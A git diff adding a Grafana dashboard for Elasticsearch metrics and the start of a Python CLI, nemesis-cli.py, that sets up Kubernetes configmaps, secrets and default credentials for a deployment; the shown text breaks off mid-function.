+ "sort": 2,
+ "value_type": "individual"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": true
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "gridPos": {
+ "h": 20,
+ "w": 6,
+ "x": 18,
+ "y": 10
+ },
+ "hiddenSeries": false,
+ "id": 44,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": false,
+ "hideZero": true,
+ "max": true,
+ "min": true,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_thread_pool_completed_count{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: {{ type }}",
+ "refId": "A",
+ "step": 20
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Thread Pool operations completed",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 2,
+ "value_type": "individual"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": true
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ }
+ ],
+ "targets": [
+ {
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "Thread Pool",
+ "type": "row"
+ },
+ {
+ "collapsed": true,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 10
+ },
+ "id": 103,
+ "panels": [
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fill": 1,
+ "fillGradient": 0,
+ "gridPos": {
+ "h": 7,
+ "w": 24,
+ "x": 0,
+ "y": 13
+ },
+ "hiddenSeries": false,
+ "id": 75,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": false,
+ "max": true,
+ "min": true,
+ "rightSide": true,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "null",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_indices_docs_primary{job=\"$job\",instance=~\"$instance\"}",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{index}}",
+ "refId": "A"
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Count of documents with only primary shards",
+ "tooltip": {
+ "shared": true,
+ "sort": 2,
+ "value_type": "individual"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fill": 1,
+ "fillGradient": 0,
+ "gridPos": {
+ "h": 7,
+ "w": 24,
+ "x": 0,
+ "y": 20
+ },
+ "hiddenSeries": false,
+ "id": 83,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": false,
+ "max": true,
+ "min": true,
+ "rightSide": true,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "null",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_indices_store_size_bytes_primary{job=\"$job\",instance=~\"$instance\"}",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{index}}",
+ "refId": "A"
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Total size of stored index data in bytes with only primary shards on all nodes",
+ "tooltip": {
+ "shared": true,
+ "sort": 2,
+ "value_type": "individual"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "bytes",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "custom": {}
+ },
+ "overrides": []
+ },
+ "fill": 1,
+ "fillGradient": 0,
+ "gridPos": {
+ "h": 7,
+ "w": 24,
+ "x": 0,
+ "y": 27
+ },
+ "hiddenSeries": false,
+ "id": 76,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": false,
+ "max": true,
+ "min": true,
+ "rightSide": true,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "null",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "7.3.6",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_indices_store_size_bytes_total{job=\"$job\",instance=~\"$instance\"}",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{index}}",
+ "refId": "A"
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Total size of stored index data in bytes with all shards on all nodes",
+ "tooltip": {
+ "shared": true,
+ "sort": 2,
+ "value_type": "individual"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "bytes",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ }
+ ],
+ "targets": [
+ {
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "Indices: Count of documents and Total size",
+ "type": "row"
+ }
+ ],
+ "refresh": false,
+ "schemaVersion": 37,
+ "style": "dark",
+ "tags": [
+ "elasticsearch",
+ "App"
+ ],
+ "templating": {
+ "list": [
+ {
+ "current": {
+ "selected": false,
+ "text": "prometheus",
+ "value": "prometheus"
+ },
+ "hide": 0,
+ "includeAll": false,
+ "multi": false,
+ "name": "datasource",
+ "options": [],
+ "query": "prometheus",
+ "queryValue": "",
+ "refresh": 1,
+ "regex": "",
+ "skipUrlSync": false,
+ "type": "datasource"
+ },
+ {
+ "current": {
+ "selected": false,
+ "text": "elasticsearch",
+ "value": "elasticsearch"
+ },
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "definition": "label_values(elasticsearch_cluster_health_status, job)",
+ "hide": 0,
+ "includeAll": false,
+ "multi": false,
+ "name": "job",
+ "options": [],
+ "query": {
+ "query": "label_values(elasticsearch_cluster_health_status, job)",
+ "refId": "prometheus-job-Variable-Query"
+ },
+ "refresh": 1,
+ "regex": "",
+ "skipUrlSync": false,
+ "sort": 0,
+ "tagValuesQuery": "",
+ "tagsQuery": "",
+ "type": "query",
+ "useTags": false
+ },
+ {
+ "current": {
+ "selected": false,
+ "text": "nemesis",
+ "value": "nemesis"
+ },
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "definition": "label_values(elasticsearch_indices_docs{job=\"$job\"},cluster)",
+ "hide": 0,
+ "includeAll": false,
+ "label": "",
+ "multi": false,
+ "name": "cluster",
+ "options": [],
+ "query": {
+ "query": "label_values(elasticsearch_indices_docs{job=\"$job\"},cluster)",
+ "refId": "prometheus-cluster-Variable-Query"
+ },
+ "refresh": 1,
+ "regex": "",
+ "skipUrlSync": false,
+ "sort": 1,
+ "type": "query",
+ "useTags": false
+ },
+ {
+ "current": {
+ "selected": false,
+ "text": "All",
+ "value": "$__all"
+ },
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "definition": "label_values(elasticsearch_indices_docs{job=\"$job\", cluster=\"$cluster\", name!=\"\"},name)",
+ "hide": 0,
+ "includeAll": true,
+ "label": "",
+ "multi": true,
+ "name": "name",
+ "options": [],
+ "query": {
+ "query": "label_values(elasticsearch_indices_docs{job=\"$job\", cluster=\"$cluster\", name!=\"\"},name)",
+ "refId": "prometheus-name-Variable-Query"
+ },
+ "refresh": 1,
+ "regex": "",
+ "skipUrlSync": false,
+ "sort": 1,
+ "type": "query",
+ "useTags": false
+ },
+ {
+ "current": {
+ "selected": false,
+ "text": "elasticsearch-exporter.default.svc.cluster.local:9108",
+ "value": "elasticsearch-exporter.default.svc.cluster.local:9108"
+ },
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "definition": "label_values(elasticsearch_indices_docs{job=\"$job\",job=\"$job\", cluster=\"$cluster\", name!=\"\"},instance)",
+ "hide": 0,
+ "includeAll": false,
+ "label": "",
+ "multi": false,
+ "name": "instance",
+ "options": [],
+ "query": {
+ "query": "label_values(elasticsearch_indices_docs{job=\"$job\", cluster=\"$cluster\", name!=\"\"},instance)",
+ "refId": "prometheus-instance-Variable-Query"
+ },
+ "refresh": 1,
+ "regex": "",
+ "skipUrlSync": false,
+ "sort": 1,
+ "type": "query",
+ "useTags": false
+ }
+ ]
+ },
+ "time": {
+ "from": "now-1h",
+ "to": "now"
+ },
+ "timepicker": {
+ "refresh_intervals": [
+ "5s",
+ "10s",
+ "30s",
+ "1m",
+ "5m",
+ "15m",
+ "30m",
+ "1h",
+ "2h",
+ "1d"
+ ],
+ "time_options": [
+ "5m",
+ "15m",
+ "1h",
+ "6h",
+ "12h",
+ "24h",
+ "2d",
+ "7d",
+ "30d"
+ ]
+ },
+ "timezone": "browser",
+ "title": "Elasticsearch",
+ "uid": "4yyL6dBMk",
+ "version": 1,
+ "weekStart": ""
+ }
diff --git a/nemesis-cli.py b/nemesis-cli.py
new file mode 100755
index 0000000..6c11287
--- /dev/null
+++ b/nemesis-cli.py
@@ -0,0 +1,1039 @@
+#!/usr/bin/python3
+
+import argparse
+import logging
+import os
+import secrets
+import string
+import subprocess
+import sys
+
+# Setup logging
+logger = logging.getLogger("nemesis")
+logger.setLevel(logging.INFO)
+ch = logging.StreamHandler()
+ch.setLevel(logging.INFO)
+
+formatter = logging.Formatter('[{levelname}] {message}', style='{')
+ch.setFormatter(formatter)
+
+logger.addHandler(ch)
+
+
+# Check dependencies
+exit_early = False
+try:
+ import boto3
+except:
+ logger.error("[!] Please run `pip3 install boto3`")
+ exit_early = True
+try:
+ from vyper import v
+except:
+ logger.error("[!] Please run `pip3 install vyper-config`")
+ exit_early = True
+
+try:
+ from passlib.hash import apr_md5_crypt
+except:
+ logger.error("[!] Please run `pip3 install passlib`")
+ exit_early = True
+if exit_early:
+ sys.exit(1)
+
+
+version = "v0.1.0a"
+
+
+######################################################
+#
+# Helpers
+#
+######################################################
+
+
+def print_logo():
+ print(
+ f"""
+ _ _ _ _____ _ _____
+ | \\ | | (_) / ____| | |_ _|
+ | \\| | ___ _ __ ___ ___ ___ _ ___ ______| | | | | |
+ | . ` |/ _ \\ '_ ` _ \\ / _ \\/ __| / __|______| | | | | |
+ | |\\ | __/ | | | | | __/\\__ \\ \\__ \\ | |____| |____ _| |_
+ |_| \\_|\\___|_| |_| |_|\\___||___/_|___/ \\_____|______|_____|
+ {version}
+
+"""
+ )
+
+
+def get_random_password(length=24):
+ """Gets a random password of the specified length."""
+
+ return "".join(secrets.choice(string.ascii_letters + string.digits) for i in range(length))
+
+
+def run_cmd(cmd, show_error=False):
+ """Small helper that returns program output or None if execution fails."""
+
+ exitcode, output = subprocess.getstatusoutput(cmd)
+ if "(NotFound)" in output or output.lower() == "none":
+ return None
+ elif exitcode == 0:
+ if output == "":
+ return None
+ else:
+ return output
+ elif exitcode != 0 and show_error:
+ logger.error(f"\Exit code '{exitcode}' running command '{cmd}' : {output}")
+ return None
+ else:
+ return None
+
+
+######################################################
+#
+# Kubectl functions
+#
+######################################################
+
+
+def get_kubectl_value(key):
+ """Gets a specific aws configmap/key value that is already set in kubectl."""
+
+ if key == "aws_region":
+ return run_cmd("kubectl get configmaps aws-config -o=go-template='{{index .data \"aws-default-region\"}}'")
+
+ elif key == "aws_bucket":
+ return run_cmd("kubectl get configmaps aws-config -o=go-template='{{index .data \"aws-bucket\"}}'")
+
+ elif key == "aws_kms_key_alias":
+ return run_cmd("kubectl get configmaps aws-config -o=go-template='{{index .data \"aws-kms-key-alias\"}}'")
+
+ elif key == "aws_access_key_id":
+ return run_cmd(
+ "kubectl get secret aws-creds -o=go-template='{{index .data \"aws_access_key_id\"}}' | base64 -d"
+ )
+
+ elif key == "aws_secret_key":
+ return run_cmd("kubectl get secret aws-creds -o=go-template='{{index .data \"aws_secret_key\"}}' | base64 -d")
+
+ elif key == "minio_root_user":
+ return run_cmd(
+ "kubectl get secret minio-creds -o=go-template='{{index .data \"minio_root_user\"}}' | base64 -d"
+ )
+
+ elif key == "minio_root_password":
+ return run_cmd(
+ "kubectl get secret minio-creds -o=go-template='{{index .data \"minio_root_password\"}}' | base64 -d"
+ )
+
+ elif key == "minio_storage_size":
+ return run_cmd("kubectl get configmaps operation-config -o=go-template='{{index .data \"minio_storage_size\"}}'")
+
+ elif key == "storage_provider":
+ return run_cmd("kubectl get configmaps operation-config -o=go-template='{{index .data \"storage_provider\"}}'")
+
+ elif key == "assessment_id":
+ return run_cmd("kubectl get configmaps operation-config -o=go-template='{{index .data \"assessment-id\"}}'")
+
+ elif key == "log_level":
+ return run_cmd("kubectl get configmaps operation-config -o=go-template='{{index .data \"log-level\"}}'")
+
+ elif key == "slack_channel":
+ return run_cmd(
+ "kubectl get configmaps operation-config -o=go-template='{{index .data \"slack-alert-channel\"}}'"
+ )
+
+ elif key == "data_expiration_days":
+ return run_cmd(
+ "kubectl get configmaps operation-config -o=go-template='{{index .data \"data-expiration-days\"}}'"
+ )
+
+ elif key == "nemesis_http_server":
+ return run_cmd("kubectl get configmaps operation-config -o=go-template='{{index .data \"nemesis-http-server\"}}'")
+
+ elif key == "slack_webhook":
+ return run_cmd(
+ "kubectl get secret operation-creds -o=go-template='{{index .data \"slack_web_hook\"}}' | base64 -d"
+ )
+
+ elif key == "basic_auth_password":
+ return run_cmd(
+ "kubectl get secret operation-creds -o=go-template='{{index .data \"basic-auth-password\"}}' | base64 -d"
+ )
+
+ elif key == "basic_auth_user":
+ return run_cmd(
+ "kubectl get secret operation-creds -o=go-template='{{index .data \"basic-auth-user\"}}' | base64 -d"
+ )
+
+ elif key == "elasticsearch_password":
+ return run_cmd(
+ "kubectl get secret elasticsearch-users -o=go-template='{{index .data \"password\"}}' | base64 -d"
+ )
+
+ elif key == "elasticsearch_user":
+ return run_cmd(
+ "kubectl get secret elasticsearch-users -o=go-template='{{index .data \"username\"}}' | base64 -d"
+ )
+
+ elif key == "grafana_password":
+ return run_cmd(
+ "kubectl get secret grafana-creds --namespace=monitoring -o=go-template='{{index .data \"username\"}}' | base64 -d"
+ )
+
+ elif key == "grafana_user":
+ return run_cmd(
+ "kubectl get secret grafana-creds --namespace=monitoring -o=go-template='{{index .data \"password\"}}' | base64 -d"
+ )
+
+ elif key == "postgres_user":
+ return run_cmd(
+ "kubectl get secret postgres-creds -o=go-template='{{index .data \"postgres-user\"}}' | base64 -d"
+ )
+
+ elif key == "postgres_password":
+ return run_cmd(
+ "kubectl get secret postgres-creds -o=go-template='{{index .data \"postgres-password\"}}' | base64 -d"
+ )
+
+ elif key == "dashboard_user":
+ return run_cmd(
+ "kubectl get secret dashboard-creds -o=go-template='{{index .data \"dashboard-user\"}}' | base64 -d"
+ )
+
+ elif key == "dashboard_password":
+ return run_cmd(
+ "kubectl get secret dashboard-creds -o=go-template='{{index .data \"dashboard-password\"}}' | base64 -d"
+ )
+
+ elif key == "dashboard_user":
+ return run_cmd(
+ "kubectl get secret dashboard-creds -o=go-template='{{index .data \"dashboard-user\"}}' | base64 -d"
+ )
+
+ elif key == "dashboard_password":
+ return run_cmd(
+ "kubectl get secret dashboard-creds -o=go-template='{{index .data \"dashboard-password\"}}' | base64 -d"
+ )
+
+ elif key == "pgadmin_email":
+ return run_cmd(
+ "kubectl get secret postgres-creds -o=go-template='{{index .data \"pgadmin-email\"}}' | base64 -d"
+ )
+
+ elif key == "pgadmin_password":
+ return run_cmd(
+ "kubectl get secret postgres-creds -o=go-template='{{index .data \"pgadmin-password\"}}' | base64 -d"
+ )
+
+ elif key == "rabbitmq_admin_user":
+ return run_cmd(
+ "kubectl get secret rabbitmq-creds -o=go-template='{{index .data \"rabbitmq_admin_user\"}}' | base64 -d"
+ )
+
+ elif key == "rabbitmq_admin_password":
+ return run_cmd(
+ "kubectl get secret rabbmitmq-creds -o=go-template='{{index .data \"rabbitmq_admin_password\"}}' | base64 -d"
+ )
+
+ elif key == "rabbitmq_connectionuri":
+ return run_cmd(
+ "kubectl get secret rabbmitmq-creds -o=go-template='{{index .data \"rabbitmq_connectionuri\"}}' | base64 -d"
+ )
+
+ elif key == "rabbitmq_erlang_cookie":
+ return run_cmd(
+ "kubectl get secret rabbmitmq-creds -o=go-template='{{index .data \"rabbitmq_erlang_cookie\"}}' | base64 -d"
+ )
+
+ else:
+ logger.error(f"Invalid config key: {key}")
+ return None
+
+
+def set_config_values(config_values):
+ """Deletes all applicable secret/configmap values and resets them using the new values."""
+
+ if any(v.is_set(config_value) for config_value in config_values):
+ logger.info("New configuration:\n")
+
+ for config_value in config_values:
+ if v.is_set(config_value):
+ logger.info(" {0:25} {1}".format(config_value, v.get(config_value)))
+
+ continue_set_values = False
+ if v.get("force"):
+ continue_set_values = True
+ else:
+ prompt_input = input("\n[*] Continue? [Y/n] : ").strip().lower()
+ if prompt_input == "y" or prompt_input == "":
+ continue_set_values = True
+ print()
+
+ if continue_set_values:
+ run_cmd("kubectl delete configmap aws-config")
+ run_cmd(
+ "kubectl create configmap aws-config"
+ + f" --from-literal=aws-bucket={v.get('aws_bucket')}"
+ + f" --from-literal=aws-default-region={v.get('aws_region')}"
+ + f" --from-literal=aws-kms-key-alias={v.get('aws_kms_key_alias')}",
+ True,
+ )
+
+ run_cmd("kubectl delete secret aws-creds")
+ run_cmd(
+ "kubectl create secret generic aws-creds"
+ + f" --from-literal=aws_access_key_id={v.get('aws_access_key_id')}"
+ + f" --from-literal=aws_secret_key={v.get('aws_secret_key')}",
+ True,
+ )
+
+ run_cmd("kubectl delete secret minio-creds")
+ run_cmd(
+ "kubectl create secret generic minio-creds"
+ + f" --from-literal=minio_root_user={v.get('minio_root_user')}"
+ + f" --from-literal=minio_root_password={v.get('minio_root_password')}",
+ True,
+ )
+
+ run_cmd("kubectl delete configmap operation-config")
+ run_cmd(
+ "kubectl create configmap operation-config"
+ + f" --from-literal=slack-alert-channel={v.get('slack_channel')}"
+ + f" --from-literal=log-level={v.get('log_level')}"
+ + f" --from-literal=assessment-id={v.get('assessment_id')}"
+ + f" --from-literal=storage_provider={v.get('storage_provider')}"
+ + f" --from-literal=minio_storage_size={v.get('minio_storage_size')}"
+ + f" --from-literal=nemesis-http-server={v.get('nemesis_http_server')}"
+ + f" --from-literal=data-expiration-days={v.get('data_expiration_days')}",
+ True,
+ )
+
+ run_cmd("kubectl create namespace monitoring")
+
+ run_cmd("kubectl delete configmap operation-config --namespace=monitoring")
+ run_cmd(
+ "kubectl create configmap operation-config --namespace=monitoring"
+ + f" --from-literal=slack-alert-channel={v.get('slack_channel')}"
+ + f" --from-literal=log-level={v.get('log_level')}"
+ + f" --from-literal=assessment-id={v.get('assessment_id')}"
+ + f" --from-literal=storage_provider={v.get('storage_provider')}"
+ + f" --from-literal=minio_storage_size={v.get('minio_storage_size')}"
+ + f" --from-literal=nemesis-http-server={v.get('nemesis_http_server')}"
+ + f" --from-literal=data-expiration-days={v.get('data_expiration_days')}",
+ True,
+ )
+
+ run_cmd("kubectl delete secret operation-creds")
+ run_cmd(
+ "kubectl create secret generic operation-creds"
+ + f" --from-literal=slack_web_hook={v.get('slack_webhook')}"
+ + f" --from-literal=basic-auth-user={v.get('basic_auth_user')}"
+ + f" --from-literal=basic-auth-password={v.get('basic_auth_password')}"
+ )
+
+ run_cmd("kubectl delete secret basic-auth")
+ encrypted = apr_md5_crypt.hash(v.get("basic_auth_password"))
+ run_cmd(
+ "kubectl create secret generic basic-auth"
+ + f" --from-literal=auth='{v.get('basic_auth_user')}:{encrypted}'"
+ )
+ run_cmd("kubectl delete secret basic-auth -n monitoring")
+ run_cmd(
+ "kubectl create secret generic basic-auth -n monitoring"
+ + f" --from-literal=auth='{v.get('basic_auth_user')}:{encrypted}'"
+ )
+
+ run_cmd("kubectl delete secret operation-creds --namespace=monitoring")
+ run_cmd(
+ "kubectl create secret generic operation-creds --namespace=monitoring"
+ + f" --from-literal=slack_web_hook={v.get('slack_webhook')}"
+ + f" --from-literal=basic-auth-user={v.get('basic_auth_user')}"
+ + f" --from-literal=basic-auth-password={v.get('basic_auth_password')}"
+ )
+
+ run_cmd("kubectl delete secret grafana-creds --namespace=monitoring")
+ run_cmd(
+ "kubectl create secret generic grafana-creds --namespace=monitoring"
+ + f" --from-literal=username={v.get('grafana_user')}"
+ + f" --from-literal=password={v.get('grafana_password')}"
+ )
+
+ run_cmd("kubectl delete secret elasticsearch-users")
+ run_cmd(
+ "kubectl create secret generic elasticsearch-users"
+ + f" --from-literal=username={v.get('elasticsearch_user')}"
+ + f" --from-literal=password={v.get('elasticsearch_password')}"
+ + f" --from-literal=roles=superuser"
+ )
+
+ run_cmd("kubectl delete secret postgres-creds")
+ run_cmd(
+ "kubectl create secret generic postgres-creds"
+ + f" --from-literal=postgres-user={v.get('postgres_user')}"
+ + f" --from-literal=postgres-password={v.get('postgres_password')}"
+ + f" --from-literal=pgadmin-email={v.get('pgadmin_email')}"
+ + f" --from-literal=pgadmin-password={v.get('pgadmin_password')}"
+ )
+
+ run_cmd("kubectl delete secret dashboard-creds")
+ run_cmd(
+ "kubectl create secret generic dashboard-creds"
+ + f" --from-literal=dashboard-user={v.get('dashboard_user')}"
+ + f" --from-literal=dashboard-password={v.get('dashboard_password')}"
+ )
+
+ run_cmd("kubectl delete secret fluentd-creds --namespace=kube-system")
+ run_cmd(
+ "kubectl create secret generic fluentd-creds --namespace=kube-system"
+ + f" --from-literal=elasticsearch_username={v.get('elasticsearch_user')}"
+ + f" --from-literal=elasticsearch_password={v.get('elasticsearch_password')}"
+ + f" --from-literal=roles=superuser"
+ )
+
+ run_cmd("kubectl delete secret rabbitmq-creds")
+ run_cmd(
+ "kubectl create secret generic rabbitmq-creds"
+ + f" --from-literal=rabbitmq-admin-user={v.get('rabbitmq_admin_user')}"
+ + f" --from-literal=rabbitmq-admin-password={v.get('rabbitmq_admin_password')}"
+ + f" --from-literal=rabbitmq-connectionuri={v.get('rabbitmq_connectionuri')}"
+ + f" --from-literal=rabbitmq-erlang-cookie={v.get('rabbitmq_erlang_cookie')}"
+ )
+
+ # hack, but application not working through skaffold
+ run_cmd(f"kubectl apply --server-side=true -f ./monitoring/grafana-dashboards.yaml")
+
+
+######################################################
+#
+# Validation functions
+#
+######################################################
+def ensure_command(command: str):
+ logger.info("Checking for command: %s", command)
+ exitcode, output = subprocess.getstatusoutput(command)
+
+ if exitcode == 127:
+ logger.error(f"'{command}' command not found. Please install 'kubectl' and try again.")
+ sys.exit(1)
+
+def validate_kubernetes():
+ """Checks if kubernetes is running, and start minikube it if it's not."""
+
+ logger.info("Validating k8s commands are available...")
+ ensure_command("kubectl")
+ ensure_command("helm")
+ ensure_command("openssl version")
+
+ exitcode, output = subprocess.getstatusoutput("kubectl cluster-info")
+ if exitcode == 0:
+ logger.info("kubectl configured to use existing cluster")
+ return
+ else:
+ logger.info("No Kubernetes cluster found using kubectl, attempting to start Minikube")
+ start_minikube()
+
+
+def start_minikube():
+ ensure_command("minikube")
+
+ minikube_running = False
+ exitcode, output = subprocess.getstatusoutput("minikube status")
+
+ if "host: Running" in output[1]:
+ minikube_running = True
+
+ if not minikube_running:
+ logger.info("Starting Minikube...")
+ output = subprocess.getstatusoutput("minikube start --network-plugin=cni --cni=calico")
+ else:
+ logger.info("Minikube is already running")
+
+
+def validate_config_values(config_keys):
+ """
+ If a value is not set in Vyper, this will attempt to pull the value
+ from kubectl and set that in the Vyper config.
+
+ If values are not set in either, an error message will display and the script
+ will exist with code 1, with the exception of:
+ - If "basic_auth_user" is not set, it will be set to "nemesis".
+ - If "basic_auth_password" is not set, it will be set to 24 random characaters.
+ - If "elasticsearch_user" is not set, it will be set to "nemesis".
+ - If "elasticsearch_password" is not set, it will be set to 24 random characaters.
+ - If "postgres_auth_user" is not set, it will be set to "nemesis".
+ - If "postgres_auth_password" is not set, it will be set to 24 random characaters.
+ - If "dashboard_auth_user" is not set, it will be set to "nemesis".
+ - If "dashboard_auth_password" is not set, it will be set to 24 random characaters.
+ - If "data_expiration_days" is not set, it will default to 100.
+ - If "minio_root_user" is not set, it will default to "nemesis".
+ - If "minio_root_password" is not set, it will be set to 24 random characaters.
+ - If "storage_provider" is not set or is set to "minio", aws_* variables will be filled in with "not-applicable"
+ - If "minio_storage_size" is not set it will be set to 30Gi.
+
+ The end result should be a Vyper config populated with existing values where explictly supplied
+ values are overwritten in the config. This is because we can't modify configmaps/secrets in
+ kubectl directly, we first have to delete them, so we want to preserve existing values if possible
+ in case we're overwriting just one value.
+ """
+
+ # if a storage provider is not set, assume minio
+ if not v.get("storage_provider") or v.get("storage_provider") == "":
+ storage_provider = get_kubectl_value("storage_provider")
+ if storage_provider:
+ v.set("storage_provider", storage_provider)
+ else:
+ v.set("storage_provider", "minio")
+
+ if v.get("storage_provider") == "minio":
+ if not v.get("aws_access_key_id"):
+ v.set("aws_access_key_id", "not-applicable")
+ if not v.get("aws_bucket"):
+ v.set("aws_bucket", "not-applicable")
+ if not v.get("aws_kms_key_alias"):
+ v.set("aws_kms_key_alias", "not-applicable")
+ if not v.get("aws_region"):
+ v.set("aws_region", "not-applicable")
+ if not v.get("aws_secret_key"):
+ v.set("aws_secret_key", "not-applicable")
+ if not v.get("minio_storage_size") or v.get("minio_storage_size") == "":
+ v.set("minio_storage_size", "30Gi")
+ if not v.get("minio_root_user") or v.get("minio_root_user") == "":
+ minio_root_user = get_kubectl_value("minio_root_user")
+ if minio_root_user:
+ v.set("minio_root_user", minio_root_user)
+ else:
+ # set default username if not supplied or already set
+ v.set("minio_root_user", "nemesis")
+ if not v.get("minio_root_password") or v.get("minio_root_password") == "":
+ minio_root_password = get_kubectl_value("minio_root_password")
+ if minio_root_password:
+ v.set("minio_root_password", minio_root_password)
+ else:
+ # set a random password if not supplied or already set
+ v.set("minio_root_password", get_random_password(24))
+ else:
+ if not v.get("minio_root_user"):
+ v.set("minio_root_user", "not-applicable")
+ if not v.get("minio_root_password"):
+ v.set("minio_root_password", "not-applicable")
+ if not v.get("minio_storage_size"):
+ v.set("minio_storage_size", "30Gi")
+
+ if not v.get("force"):
+ for config_key in config_keys:
+ if config_key != "basic_auth_password" and config_key != "data_expiration_days":
+ if not v.get(config_key):
+ # set the value for to config key if it already exists in Kubectl
+ config_value = get_kubectl_value(config_key)
+ if not config_value:
+ # otherwise prompt
+ config_value = input(f"\n[*] Please enter a value for '{config_key}' : ")
+ v.set(config_key, config_value)
+
+ # some of our defaults
+ if not v.get("log_level") or v.get("log_level") == "":
+ log_level = get_kubectl_value("log_level")
+ if log_level:
+ v.set("log_level", log_level)
+ else:
+ v.set("log_level", "info")
+
+ if not v.get("basic_auth_user") or v.get("basic_auth_user") == "":
+ basic_auth_kubectl = get_kubectl_value("basic_auth_user")
+ if basic_auth_kubectl:
+ v.set("basic_auth_user", basic_auth_kubectl)
+ else:
